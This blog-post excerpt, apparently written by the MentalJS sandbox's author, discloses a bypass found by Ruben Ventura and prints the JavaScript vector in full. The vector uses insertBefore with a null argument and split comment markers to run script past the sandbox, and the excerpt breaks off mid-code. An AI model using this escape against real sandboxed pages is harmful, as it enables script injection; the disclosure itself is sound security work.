Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:- _=document x =_.createElement(‘script’); s =_.createElement(‘style’) s.innerHTML = ‘*/alert(location)//’ t=_.createElement(‘b’) t.textContent = ‘/*’ x.insertBefore(t.firstChild, null); x.insertBefore(s, null) _.body.appendChild(x) x […]